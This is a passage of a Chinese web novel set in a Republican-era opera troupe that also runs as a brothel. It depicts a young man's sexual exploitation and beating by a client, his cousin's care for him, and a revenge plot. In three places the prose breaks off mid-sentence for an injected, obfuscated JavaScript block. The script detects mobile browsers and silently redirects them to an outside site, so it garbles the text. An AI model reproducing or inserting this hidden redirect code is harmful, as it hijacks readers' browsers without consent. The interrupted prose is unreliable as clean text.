但——今日若无那少女演得一桩巧戏，怕是无法将这洋伯爵哄得这么开心好说话。 她望向那个静静收拾茶饮器具的少女——自己曾被誉过“大气稳重”，然而在相同年龄，是决没有少女这么沉静谨慎的。她帮了大忙，面无浮夸，也不讨巧，拾掇好了，便掩门退下。 怪不得玉关柳要她帮忙看一看，有没有合适这孩子的女学。这固然是玉关柳与孟家拉近关系的请托，可未尝不是一种惜才…… …… 等茶室里的人议完事，送人离去，天已暗了。 箫笙漫开，后院练唱之音慢慢厚起。乔璃闭起双眼，身子倚在阁楼窗畔，壶中给自己煮的药汤已经微凉，入喉黏苦，个中滋味，不必多言。 ——身子还是虚么？ 似乎有一双柔软冰凉的手贴在她额上，旋即掠过鬓发，将发丝拨向耳后。 脂粉香浸入鼻间，深深呼吸，吐气，沉下心，又能嗅到一丝恍若不存的墨香…… 她唇角微微一扬，往前轻靠，靠入一方柔软。 手背点了两点烫伤的红痕，发髻有些散乱。她自己一个人扎，总是扎得松松的，做半天事，发尾全都塌下来。如果没有周莲泱帮她，她连头发都扎不好。 咳疾已许久未犯，但她一日有大半日需要休息。补身子的药一直没断过，甚至越补越多。 这如无底洞一般的怪病，吞食补药，吞食金银，总是不好。这混乱不堪的记忆，东一榔头西一棒子，从中攫取一点无足轻重的知识，好歹不让自己显得那么没用。 戏声一亮，咿咿呀呀的唱音飘响在天井之中。 瓦蓝的夜，星子，黑瓦，血红戏服，曼声吟唱的伎子。 表哥在做什么呢？其实她心里清楚。两人一日未见，他是在躲着自己。今夜，此时，他是否已披上苏三血红血红的罪衣，为了她，去……出卖自己？ 蓦地，乔璃想起一曲江南小令，幽怨缠绵，交泣低诉…… 酒罢已倾颓，秋水长天折翼飞。莫道风波栖未稳，停杯、云起江湖一雁咴。 相望已相违，短笛无腔信口吹。若到淮边惊夜冷，披衣、与谁相伴与谁归[2]？ 这诗词歌赋，她过目不忘，个中真意，却从不了解。 乔璃伏在周莲泱的中衣间，蜷起的手攥着袖摆。她并没有落泪，甚至表情也未怎么变，只是陷在他的衣服里，良久良久。 直到子夜叹尽，天光微亮。 ------ 下一章预警：麦是真麦，第一卷及以后也有相关具体描写。有相关具体描写。有相关具体描写。 不能接受的请及时退出。请及时退出。请及时退出。尊重你我她。 13章作话有预警，此章也在正文设置预警，之后被创作者不负任何责任。作者玻璃心，看到打击创作积极性的评论会直接删除。 17. 拾陆 红藕香残 虚孱的雨，昨夜便已泣尽了，换得今日天光大盛。 周莲泱一个人在太阳里立着。太阳甚大，秋老虎的热劲未过，换了一身更厚重的戏服，就这么站了一会，便觉得额前微有汗意。手里端着的果子露，也在瓷瓶外渗出丝丝水汽。 金秋十月，菊花盛开，点缀在假山周围，看上去花繁似锦，叶碧如染。这待客的酒楼，在菊花的映衬下，倒很有几分雅致。 菊花与人俱在影中，室内琵琶叮咚，歌声缭绕耳际。他不便再等，端着酒，轻撩衣摆，踏入房门。 房间里，伯赏元已点了一桌好菜：清蒸大闸蟹，青背白肚，配上乘黄酒；青鱼秃肺，余下做红烧甩水，拌雪白新米饭；虾子大乌参，浇以河虾子与红高汤卤——顶考验选料烹调的本帮菜[1]。 见人进来，伯赏元轻捻山羊胡，呵呵笑道：“雀儿来得正好，我前日听老正兴的包厨王荐得这道大乌参，今日便有口福。过来坐，吃一碗，对身子好。” 雀儿…… 每次听这花名从买了自己之人口中说出，周莲泱都要打个寒噤。 不过转瞬，周莲泱面上已恢复待客的容态，闻言浅笑，坐至伯赏元身旁，口里应着，抬腕先夹一只蟹，熟练地拆腿开膛，为他先剥一碗。 再顾陪客，一人盛一份，全伺候妥当，才用乌参浅浅沾唇——玉关柳早就嘱咐过，若夜里待客，最好一日不尽粒米，对客人好，也为自己好。 为了客人…… 沉沉冷冷的眸光扫过腰带处佩的伪玉，与己之相像，令他蓦然一笑。 伯赏元因他一通周到服务，心情极好，捋须卖弄起对名菜名吃的了解。陪客自然捧场，夸赞伯见识广博，听其一言，学得颇多。一时包厢中全是男人粗哑的开声大笑。 伯赏元本来是“马快”出身，拜入青帮，后成为公租界一巡捕捕头。他幼年读了几年私塾，自诩翩翩浊世佳公子，衣冠要整洁，谈吐要温文，最喜旁人捧他与青皮、“灰窝”一类不同。 他肚子里有点文化，酷爱听戏，女/票伎玩/倡自然也要选顶头雅伎，平日只去“书寓”，外出专请“长三”作陪。听闻美租界新开一“泰春班”，寻常一少伶，风姿都堪比夺首花魁，自然不胜欢喜[2]。 那老鸨班头心思多，教他苦等一月，终于能赏一赏自己这千金抛费，是否值当。 酒过三巡，屋前两个伶人咿咿呀呀地唱着，鼓萧笙的人也吹弄得越来越急。一人吹笛，一人摇起月琴弦子，戏演到浓时，却被伯赏元阻了一阻，骤然停止。 “难听，当真难听。” 他晃着头，陪坐的人也爱看戏，自然知道这酒楼请的小伶称不上好。一通喝倒彩，隔着一层粉，也能看到唱戏人脸上窘得忽青忽白。 伯赏元往旁边一瞧，就瞧见垂着颈子为他斟酒的“金腰雀”。即使之后唱戏，他也只是淡妆素抹，却仍一副好颜色。 一身血红，映得他雪色的皮肤似同羊脂。凝眸一笑，杏眼微波，不输女魁的艳，还多三分少年青涩的苍俊。 他本就荤素不忌，除花魁伎女外，“契兄弟”也结了不少。相较之下，比起娇弱女人，还是男人搞起来痛快。只是他想不到，竟然能在一新戏园里，碰上一个集二者之精华的尤物。 当真是…… 下腹火蹿三寸，伯赏元一口饮干杯中酒：“雀儿，上去唱，给她们开开眼。” 台上伶人自知自己是作陪的花衬，当即跪倒连声致歉，其中一年长的女伶下台，双手扶着周莲泱，曼声尊他上场。 周莲泱说笑着，半推半就地上了台，对鼓丝竹的一礼：“那雀儿便献丑了。” 苏三起解本来是一副哀怒之戏，要连唱十大恨，唱得六月飞雪、万人齐哭。可伯赏元要的，自然不是这样激起义愤的东西。 少年开嗓，起腔哀怨，唱着唱着，忽然甩起水袖，眼波流转，竟将申冤的歌伎，演出一副放/荡的媚态。 提足，下腰，从台上踱至台下，半睁的黑眸子满出滟滟的崇敬，伯赏元仿佛就是青天再青天的大老爷，能开解普渡一切苦难。 他唱着唱着，身姿越转越快，骤然翻身倒地，跪伏在伯赏元面前。 “求大人开恩……” 周莲泱双膝跪地，声线颤抖。 他像是对临头的死刑怕极了，也唱得累极了、倦极了。无需抬脸，只听声音，都能想象到苏三的艳容殊色上，该是怎样泪珠涟涟。 伯赏元用折扇抬起他的脸。 周莲泱眸中含泪。他的眼里浸着一种属于柔弱者绝望的恨，一种只能独自凄苦哀怨、伤害不了别人的恨[3]。 格外令人同情唏嘘。 也加倍让人想撕开这种恨，让他的惨更惨，迫害得更迫害，将这份柔弱，碾进泥泞里去。 这申冤之人，看似凄苦，实则都是他自找的，不然为何，走在刑场的路上，还穿着这样一身勾人的红衣、摇晃着折柳一样的纤腰呢？ 唱歌的乐伎，陪客的几人，早不知不觉离开了。 伯赏元握住他的腰，撕开了那身勾得他神移魂荡的血衣。 周莲泱闭上双眼。 他嘴里仍然哼着，低吟着，从有词句的唱腔，慢慢转变成一种如泣如诉的婉音，唱得伯赏元通身酥，遍体麻。 伯赏元渐渐寻出一种别样的趣味，摁着捻着，在他身上点起戏来。 那身光鲜新作的戏服，被慢慢揉得又破又脏。 周莲泱由哭转笑，笑得更厉害，也哭得更厉害。 达到一个绝不能忍的顶点时，反手搂住第一位恩/客的肩，用至清绝异的美，风情地吟唱起来。 ---------------- 月上中天。 周莲泱一抬眼望见雕花大床上的罗帐银钩，案儿上青花瓷瓶，自鸣座钟；屋内翰墨书橱，瑶琴琵琶。一时恍惚，恍然置身昔日卧房。 只是他身上是那样的痛，仿佛筋骨被彻底揉碎了、碾烂了，后腰一处疼得快没了知觉。 抬起手臂，满是不堪看的青紫。 他起身，灌进一壶冷茶。饥馑的腹骤然痉/挛起来，他竟是有些漠然地忽略了，披上一间中衣，想去汲水。 眼前一片昏黑。周莲泱把住八仙桌的桌沿，按着腹部，牙缝里迸出两个字。 “废物。” 门吱呀一声旋开了。湿的布巾，热腾腾的白粥，还有澄黑的药汤被递过来。周莲泱垂着头好一会，道：“你几时这么体贴了？” “你不吃东西就要沐浴，会晕死的。” 传入耳中的不是钟铭的声音。周莲泱抬起头，这熟悉又陌生的声音，倒令他惘然了。手猛地拢紧衣襟，嘴唇嗫嚅半晌，才问：“……你不该在这里。” “我不在这，又该谁在这？”乔璃看进他眼里，眼睛像含了化水的冰块，冷冷的，又雾重重，“你躲了我三日。” 从好端端行正坐直的人，变为一只雀儿、一只被握在手里品评的物件，已三日了吗？ 周莲泱身形晃了晃，抓着领口的手扣得更紧，就像捂着正在喷涌鲜血的伤口。 “水已烧好了，我帮你洗，伤口还要擦药，按摩。”乔璃叹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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铁锈味道的血让周莲泱安静下来，表情呆滞而痛苦，他想说什么，却被微有些气急败坏的乔璃抓住下巴，往她身前扣去。 她半跪在满地狼藉中，抓住他，如同老练而精明的猎手，把他整个人抱在怀里。 周莲泱沉重地喘息着，神情惊惶如悬崖边飞逃的牡鹿，仿佛被烫伤一般不停打着摆子。 “表哥，不能不吃饭。”乔璃抱着他，条理分明地跟他解释，“我知道你难受，所以表哥想吃什么，我都叫人去做。鸡蛋羹怎么样？打三个鸡蛋，细细搅了，筛去浮沫，蒸出来淋酱油与麻油。表哥从前最喜欢了，好不好？” 她的手还在流血，裙摆浸泡于肮脏的水中，怀里抱着比低贱更低贱、脏淫更脏淫的东西。两人的眼睛高度一样，周莲泱什么都未听进去，只是畏缩地看着她的眼睛，试图从里面寻出一丝一点的厌憎、鄙夷和嫌恶。 周莲泱试图从她眼里找出一点什么。 他找到比自己稍高一点的体温，暖着他；找到他喜欢的药的清苦；找到乔璃盘乱了的发梢贴着脖颈；找到呼吸，心跳，掌心的安抚…… 他慢慢软进她怀里，脊背还在不受控地瑟瑟发抖：“囡儿，我疼……很饿，后面疼……” “我知道，表哥，我知道……”乔璃抱着他，心里难受极了。“之前腰伤都没这样，我制了新的药，像麻沸散一般，涂了便不痛。表哥，这次我照顾你……” 乔璃有点疲累地呼吸着，抱着他絮絮。 周莲泱注视着她，应着，拿染着泪的面颊轻蹭她的脸，换得落于眉心唇角的吻。 18. 拾柒 有情难绝 自那日后，乔璃觉得周莲泱仿佛打开了什么开关一样，分外……腻人。 深宵静夜，他把一身揉乱的戏服剥下来。膝盖是瘫软的，眼睛也是瘫软的，闪烁不定，清莹透明，眼角渗出动/情的深粉色。 乔璃把戏服配饰一件一件拾掇好，扶他洗浴。泛着粉的水眸便勾子似的落她身上，鹿一样，黑白分明的纯粹。 泡在加了药的热水里，他便化了一样，烟气花气浊气，与莹白夹靡红的肤肉一道溶进水里。 两只胳臂搭在木桶边沿，尖削的下巴叠上去，一只手往前伸在灼热的空气里，轻轻摇晃着，口里也轻轻唱着：“那日间，停刺绣，把此情穷究……” 乔璃将他披乱的发粗粗绾起，用绞过水的薄巾子，揩去积在脖颈处的水珠。 几线狰狞肿胀的青痕，横在背脊，就那么大喇喇暴露在天光下。封凝的血痂，被热水一泡，就凶猛地撕开了。 她没有说话，只是用指尖描着那些鞭痕的轮廓，微风一般柔柔拂过，再用眼睛一一刻在心底。 “囡儿，我疼呢……” 周莲泱低泣着，抱住她的肩，踉踉跄跄走回阁楼，坐于床榻。 这是两个人共有的床榻。在旁人床上睡久，这小小的桃花源，对他而言已陌生了。他自顾自去抚摸两人的枕头。 表妹往日睡着睡着，总要移过来，去枕他的，慢慢往下滑，依着他的肩膀。可他的肩膀并不可靠——并不可靠啊，留她一人独眠…… “表哥。” 她的吐息在背后轻拂：“给你涂药了，痛就和我说。” 他并没有说什么。指攥在床单上，兀自忍着，忍出满头细汗，嘴角的裂处，也被噙出血丝。 乔璃的手不知何时抚到他下颌，拇指擦过嘴角，将血丝揩去。 “叫你别忍着。” 她声音发哑。 胸背脊骨，隐秘暗处，鼓胀激烈的痛，周莲泱并不在乎。他软声恳求，只要她转到自己面前。 乔璃药擦了一半，听到他这么说话，不能不顺从他的意愿。 青年抬起脸，唇角是扬的，眼睛也是弯的，里面隐露出一点惨淡的笑意和惊讶：“……囡儿什么时候长这么高了？” 如果不是靠着她肩膀走上楼，恍惚还是初见时的总角模样。 乔璃忍不住叹了口气：“我本就长得比表哥快。” 手指被牵了一下，他将五指绕进她的五指，沉甸甸地相扣着。人也如一条还在滴水、又软又冷的蟒蛇，一点一点攀进她的胸口，脸颊靠着厮磨：“……我疼，你哄哄我。” “……涂完药便不疼，表哥不让我涂。” 这么一句话出来，回应她的就是海棠垂露般的嗔怨了。 乔璃无奈，手扣着他的手，将人拢进怀里。另一只手摩挲他的背——微微弓起，又清瘦三分的后背，缓缓安慰着。 她觉得自己近日总在叹气。眼睛垂下来瞧他，周莲泱依着她胸口，长睫扑闪，也在看她。 与其说是看她，不如说是在寻找，这样寻觅似的神情，她已在他脸上看见许多次。 表哥在寻觅什么呢？乔璃不解，好似也不便问，因为没找到，周莲泱反而开心。开心——也更腻人，更缠人，好像流亡入戏班后强撑起的坚强架子被捶散了，才恍然记起，他本是个能在家人面前撒娇弄痴的贵少爷。 他要她照顾，要吻，要哄一哄，做完这一套，才肯安心休息。 “……囡儿别嫌我烦。” 他忽然转出这么一句，空的那只手盘上她的后背，微哑沙涩的嗓子，似又含了哭腔。 “我不会嫌表哥烦。”乔璃揉了一下他的后背，就仿佛抽掉一根脊骨一样，令人伏进肩头轻蹭。不知怎么，那儿慢慢浸出一点湿意。 “表哥……”她转头，无奈道，“先把药涂完再哭，好不好？” “我只是想说……” “想说什么？” “幸好是我，不是囡儿。” 他抬起脸，虽然在流泪，唇角却是上扬的：“表面虽看不出来，但囡儿比我心高气傲得多。乱世坎坷，女子多沦陷此道方能求生，也沉于囹圄无日解脱……幸好……幸好是我，不是你。表妹干干净净的，我就幸福。” 阁楼一时阒然无声。 乔璃抬头，下意识依靠屋内熟悉的一切：堆满晒干的药草、木杵、药臼，用于实验的小小桌台。这儿是不同于泰春班浮华的幽净，充满乔璃自己、深厚而惯默的稳定。 但是这稳定，被周莲泱一句话，彻底打碎。 一种深发的波荡，将心脏震得紧紧收缩，波荡如同地龙翻身，将新装的电灯光亮摇撼成碎裂的琥珀色狂澜，朝四肢百骸蔓延开去。 她知道自己胸腔中这一颗人心，天生便比旁人缺少一处“情”的关窍，仿若冷硬的顽石，冷眼旁观世情波折。既不理解旁人，也不顾惜自己，亲眷的漠视与死亡，也不能让枯井搅起半分波澜。 可现在…… 乔璃心底深处突然产生了一种深深的恐惧。 像盘旋在天上、从未被束缚，也不可能被束缚的风，突然被拽落地面。 苍鹰生了担忧，摔进土里，再不能腾飞，就是会这样恐惧的。 但这深黑深黑的恐惧里，竟然也藏着一点别样而陌生、奇美而浓异的甘甜。 乔璃慢慢、慢慢把额头抵住周莲泱的额头，眼角也沁出一点清光：“真傻。” “傻哥哥。” ------------------------------------------------------ 敲门声传来时，周莲泱还迷迷糊糊的，老虎窗外透进渐次泛白的黎明时分的天宇[1]和清冷的晨气，以及未尽的桂子幽香。 他支起胳膊，另一只手揪着被子，眼里含着些昏昏欲睡：“囡儿，是谁啊？” 乔璃已穿戴整齐，披一件半新不旧的雪青袄子，圾着拖鞋去开门。 门外是柴凌翠，泰春班当家花旦之一。她素日穿一身女学生似的翠蓝竹布衫，今日却着一身黑，微微佝偻着身子，手抄在马甲里：“……劳驾，让我进去说话。” 她拖着木屐，踢踏踢踏地进来，着一张旧美人榻上坐了，自己倒了杯冷茶，颤抖地叹口气。 周莲泱起来，定睛一看，才发现她半张脸都青紫的，一块淤肿的血块团在眼皮上，将整只左眼压没了形。 柴凌翠差不多两年前入的戏班，从前也是江宁歌女，极擅交际，进班很快唱出名，鲜少见她如此狼狈。 当她扯开衣襟，露出更多、更残酷的凌/虐痕迹时，周莲泱也惊得“啊”了一声：“这……谁将翠姊打成这样？” 她当荤角，靠得就是一身白俏的好皮子，还有深目削颊的美人面，很难想象有人狠得下心，这样辣手摧花。 柴凌翠耸了耸肩冷笑道：“还不是那根‘老辫子’？” “老辫子”原本值得是新国成立后仍未剪发辫的顽民，在柴凌翠嘴里，又多一层身份——新国革命时两江总督手下数侵江宁的“辫子军”中人。 那是一支杀人放火无所不为的强盗军，旧朝咽气时，该军在江宁无所不为，占据一城，就“三天不封刀”，奸/淫与抢劫，兽畜比之不及。 她的气声儿不对，说着说着，按着肚腹，作势欲呕。但她胃袋里什么都没有，吐也吐不出，反倒冲得喉咙嘶哑酸涩：“……我当时就是不愿投水自杀，才挣扎到海市这边，如今又要伺候他……” 柴凌翠近日的大恩客之一，就是前辫军参谋、如今在海市做了警备分厅厅长的胡小望，被这样一位恶客包下，柴凌翠几日来当真是求生不得求死不能，偏玉关柳定指她好生招待。 毕竟做她们这一行的，万不能得罪警备厅。 “那牲口兴致上来，我……怎堪被当个人看？” 柴凌翠攥着帕子抹眼泪，物伤其类，周莲泱便道：“我们有什么能为翠姐做？” 女人瞟他一眼，嘴里喃喃哭着，又露出一点羡慕的眸光：“你……你什么都不知道，是不是？她将你瞒得这样好……” “翠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615138|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姊。”一旁静听的乔璃切出一只手，挡在二人面前，“我未瞒表哥，只想等一切尘埃落定再与他细讲。” “我知道，我知道，你与玉关柳也是这么说的罢……那个杂种贱胚，分这么一头牲口给我，又是警备厅厅长，我哪里想得到办法……” 柴凌翠捂住脸，呜呜痛哭，拖长的哀嚎不似人声，倒像受伤的野狼，齿间满是溢出的仇恨血腥。 周莲泱听得不清楚，只道，表妹瞒了我什么？和柴凌翠的客人又有什么关系？ 他往不好的方向去想，浑身战栗起来，被放大的恐惧如洪水猛兽，几乎彻骨。 乔璃一把搂住他的肩膀，唇附他耳旁：“表哥，别瞎猜，无论你在想什么，都不是对的。” “那是什么，那是什么？”周莲泱把住她的手，眸光慌乱地摇动着，恐惧冻在脸上，让五官都扭曲了。 “我计划让胡小望死。”乔璃道。 什么？ 周莲泱呆了一会，柴凌翠已在和乔璃确认什么事。两人声音很低，他依稀听见“虾子乌参，时令海鲜”、“骑马”和“多动”几字。 听不懂，也想不明白，周莲泱本能地有一层担心：“表妹要做什么，我不问，只一件事：若他死了，就不会有人猜到你动手么？” 乔璃轻轻摸了摸他的脸，微微笑道：“自然要用谁都牵扯不到的法子。” 柴凌翠面色复杂，眼神在对面两人间逡巡片刻，拧帕子道：“这法子如此简单，我怕……” “先试试，不成还有别的选择。” “你……若是真成了，我欠你一个大人情。” 女人眼里迸出两股刻骨怨毒的快意：若是真成了……她也算报仇了。 周莲泱瞧着与平日完全不一样的柴凌翠，不觉打了个寒噤，往乔璃怀里更靠了靠。柴凌翠回神，心道好笑，又物伤其类，哀道：“你们……这样，玉关柳那贱种定看不下去的。她自己过的不好，就和那地狱里的王母似的，见一对、拆一对。我往年与小楼，就是被这么拆散的。” 小楼…… 她想到那个绸缎庄的伙计，想到他年轻健壮的身躯、赤诚的眼，滚下来两行泪珠。过去已成为遥远的回忆，却冰凉的，凉得入骨。 “他说他要赎我，我却辜负了他。希望你们……”柴凌翠勉强组织语言，“你们不要上了玉关柳的当。” 乔璃冷笑一声。 这恐怕还是周莲泱第一次听见她冷笑呢，稀奇地看过去，被她的手搂住脖颈，按在肩头。 “我是不理她的，表哥信我，管她出什么招，都和我们没关系。” 人前，她怎么也这样做……周莲泱不由红了脸，可也没挣开。依着她便罢了。 乔璃自己觉得自己绝不会掉入谁的陷阱。 这些日，柴凌翠、戏班中人，甬明帮会，样样都要顾到，还要调查一些很久远的过去。她想着玉关柳这个人，想着终于把她从迷雾般的神秘面纱中揪出来，心里忽然就兴奋地激荡起来。 乔璃分身乏术了这一段时间，等《海市日报》上登出警备厅厅长胡小望暴死，她从严树明口中套出玉关柳过往世情后，竟然半月未怎么见到周莲泱。 他在躲她，而且这回是下定了决心躲她，见了面也只是冷漠，甚至将阁楼的物品全搬入二楼的空房间，不跟她一起睡。 看那架势，与她“恩断义绝”似也不差什么了。 周莲泱不仅冷漠，嘴里还说一些伤人又自贬的话。乔璃听听就过，但他说话时，讥诮表情下，分明是在哭。 他跟她闹了几日，恐怕就哭了几日，眼睛肿成烂桃子，装也装不像。 ——原来玉关柳狐狸似的一双眼，见她毫无破绽，就盯周莲泱去了。 她到底在想什么？有什么样的过去？为何偏喜欢破坏人的感情，使千般计策，也要拆分鸳鸯眷侣？ 这些问题，乔璃并不怎么在乎，她唯一在乎的，就是玉关柳行事后的结果。 拜她所赐，乔璃又体会了平生第一着体验的情感—— 暴怒。 19. 拾捌 辗转反侧 这一年十月下旬，天气晴和，秋高气爽，太阳把梧桐焙得更熟。乍浦吴淞、沿河两岸，行人络绎于途。什么汽车马车人力车驴子，来来往往，极是热闹[1]。 周莲泱起床晨练的时候，石库门里弄外，与泰春班相熟的几辆胶皮车已停在外面了。车夫除了跑车外，又兼帮闲跑腿之用，从五里桥熟食市场买来早餐，交给提前等在门口的严雪辕。 因清、荤两角晨起时间不同，泰春班的厨娘一般不做早，多是备些点心，或差人跑腿。能劳动严雪辕的，必是玉关柳或严树明。 高瘦的女子提着早食，周莲泱鼻子尖，闻到一股桂花白糖莲心粥的香气。红洇洇的是赤豆粥，粥皮上撒黄澄澄的糖桂花，喝进胃里，又浓又稠，极熨帖。 他嗅着糖粥的味道，胃“咕噜”一声，也饿了，便想着去后厨拿几个糕饼吃，不妨被严雪辕一挡，拦在身前。 “小莲，姆妈今日同人荡马路[2]，正好你旬休，要你去当陪客。” 周莲泱愣了一愣，他本来是想和乔璃一道出门去旁近的公园河滩顽，不想横道出来一件事。严雪辕似是知道他想说什么，松缓向来无甚表情的脸，试图露一个笑，可惜不太成功：“姆妈说，还要给你妹瞧女学的。” 这可不是件小事，他马上应了，严雪辕就邀他一道吃早点。 严树明早起出去办事，主屋里只有玉关柳一人，已别金戴玉、着一身织锦的衣裙，打扮完毕了。 她转过脸来招呼周莲泱坐下吃粥，笑盈盈分外可亲：“今日叫你来，不为别的，是为你妹子上学一事。我三请四托，终于找到几处合适女学。你是她表哥，独一个亲眷了，怎么也要让你知道才行。” 周莲泱坐她对面，心里有些七上八下：即使这件事说了很多遍，他还是觉得有点不真实，她，玉关柳——有这么好心么？ 一旁的严雪辕不语，分母亲一碗粥，也分他一碗粥并四个生煎馒头。几碟小菜是共食的，剩下一份咸菜肉丝面、豆浆油条并四个馒头，全归严雪辕一人。 周莲泱又一恍惚：着她顿顿这么吃，每月的口粮费，可能和表妹的药也差不多了…… 玉关柳的饭桌上没有食不语的规矩，她慢慢喝粥，说些新闻闲谈，等周莲泱吃好，便道：“你也莫紧张，帮忙牵线的是熟朋女眷，陪我看几处学校，再去趟百货大楼买礼物送她，半日便回。” 周莲泱心底一松。他真是怕，若出去一趟，自己成道谢的礼物，那这顿早食是怎么都吃不下的。 用完早点，桌案自有严雪辕收拾。胶皮车等在外面，晃晃悠悠，从乍浦路晃到爱汀堡街。 若是不听玉关柳教戏，周莲泱在她旁边，倒真有点坐立难安。 其实她也并不是什么可怕的人，准日给钱，一月三休养嗓子，更不似寻常伎院老鸨那般往死里压榨荤角。但她也绝不是慈善家。想起三日前从柴凌翠身上看到的惨状，他心里一阵发寒。 “怎么了？你瞧我的模样，倒像瞧一头怪物。” 玉关柳对镜补唇脂，补了一抹秋季新拟的“柿子红”，再用珠粉擦擦眼角，嫣然一笑，当真看不出已年过三十。 经历得多了，周莲泱倒也不易被套话，虚假地挑挑嘴角，面色诚挚：“柳姨这话可吓杀我——只是这车坐得我晕乎乎不舒服，下车便好了。” 女人放下手里的胭脂盘，口气宛如轻叹：“是小翠儿同你们说什么了罢。” 周莲泱一愣，然后只觉心口一炸——她怎么，怎么能猜到？ “她呀，总记着我拆散她和朱楼。” 玉关柳微微一笑：“那你为什么不问一问，我为什么要拆散她们？” 青年微怔：“……为什么？” “你知道朱楼是谁？一个绸缎庄的跑腿伙计，攒一月钱，才能见一次小翠儿的女票客罢了。若说他好，那为何来女票？兜里无钱，管不住身下二两肉，装什么情深难得。” 周莲泱半晌无话，末了道：“那也总是翠姊想要的。自朱楼与翠姊相交，他就再未瞧过别人。” “是呀，他倒真未瞧过别人。可你翠姊，你翠姊既然选择做荤角，就是因为有刻骨的恨。这恨呢，一旦夹进浓情蜜意柔肠百转，还谈什么复仇？我只是敲醒她，真正断绝关系的，是你翠姊。” “不然我一班头，又能做什么。客人花钱点人，还真能叫两人不见了？” 周莲泱一愕：“复仇？复仇又是……与那人有关？” “事关小翠儿的隐秘，我倒不便多说了。你要给小乔买药，她自然也有必做之事。我‘拆散’她，只是不想见她将售卖皮肉才赚得的物事，通通为儿女情长抛却罢了。” 玉关柳轻手轻脚拿出支香烟，不点燃，只是攥在指尖，离近了去嗅闻。 西洋的香烟，与她这样披着西湖水色蒙头纱的古典女子本不相称，可她拈着烟，自有一种别样的风情弥漫开来。 周莲泱愈来愈想不明白谁对谁错了：玉关柳的神态、动作，同她的话语一样，都搅得人惴惴不安。 玉关柳瞧他一眼，眸光中有如烟雨迷蒙，总挺得笔直的背倦倦地松怠下来，神情也是倦怠的。 “小莲儿呀，其实你信我，还是不信，对我都无多大干系。小翠儿背后说我，实在正常不过。旁人总想，这卖/春女和卖/春女身份相同，总是一道儿的吧，但多相争，构陷戕害，不一而足。贞妇呢，更瞧不起我们，恨不得把我们唾进泥里、全浸猪笼，衬自己额外纯洁干净，真同观音菩萨一般了。 她们却不知道，贞妇要变成卖/春女，不过是男人动动脑子和手的事。男人就决不会看不起女票客，可他们的清白就不是清白了么？我们女人，千百年来总是互相扯后腿，不如男人那般团结。她们都在背后说我心狠呢，殊不知，我实在是真心帮她们。” 她说的话再有道理不过。 周莲泱身子轻轻一颤，攥成拳的手忽紧忽松，突然抬起低垂的眼，一字一顿道：“旁人……我不管，旁人我不管。表妹决不会负我。我信她，无论怎样我都信她。” 他说得那样坚定，玉关柳却浅浅含笑：“唉呀，我也信，信你，信她。你们这一对儿，与我见过的都是不同。翠儿肯定说，怕我拆散你们，是也不是？” 她这么直白地说出来，周莲泱反倒不好意思，又听她轻道：“我不拆散，因为根本没必要呀。一日勾栏，终身是勾栏，小莲儿，你很快会懂的。” ------------------------------------------------------ 胶皮车行一阵，停在一处茶楼，差人传信，过一会，茶楼里便走出一个身姿微丰的年轻女子。 玉关柳口中“相熟朋友的亲眷”便是孟厚信之孙孟彩霞。周莲泱未见过她，但从乔璃口中听过只言片语，知道她是一个极有能为，又读过大学的知识人。受玉关柳请托，亲自带二人参观女学。 女子挽着一对如意髻，身上穿一套淡青烟雨的衣裙，身无赘饰，只腕上一握水头极润的玉镯，一望便见通身落落大方的聪敏气质。 孟彩霞身边也跟了一位妈妈作陪客，见玉关柳，立刻招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615139|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼道礼，又问周莲泱的身份。 玉关柳只是含糊道：“是要入学的乔璃的哥哥，在我那儿做活。” 周莲泱正有些踌躇，不知要不要接话，却见孟彩霞转来的眼睛里有一抹深愕，接着那后面的妈妈一拽她往后退，眼里迸出几分受辱之情。 “金妈不可。”孟彩霞一阻她要脱口而出的话，缓缓神情，露出一个僵硬的笑，“既然如此，也劳烦周小兄弟同我们走一道了。” 周莲泱一时不懂，还想道礼，等反应过来，脸“腾”一下红透，心脏也咚咚咚在胸腔里鼓噪起来——在窑子里呆久了，周围之人不是同行便是女票客，他一时都忘记，自己又是戏子又是男伎，是下九流中最下九流的贱种…… 他已听不清玉关柳和孟彩霞又说什么，恍恍惚惚跟着回到胶皮车里。 身上一时冷，一时热，靠着扶手，脑袋好像不会想事了，只转着过往从前读书留洋的日子。 已淡薄了，已褪色了，就像放久了的老照片。他早已不是从前的莲二爷，他是雀儿，是勾栏贱货，旁人连看他一眼，都打心眼里觉得烦恶。 胶皮车在顺着风头走，风送来一阵兰麝清香，三辆胶皮车，坐着三个十五六岁的女学生，跑过她们并肩的两辆。随风而过的，除了脂粉香气，还有一阵笑，一阵嬉闹。 路过的是上西女校，远远望去，校舍廊柱青砖相映，绿树如盖，花坛静谧，一派肃穆之景。 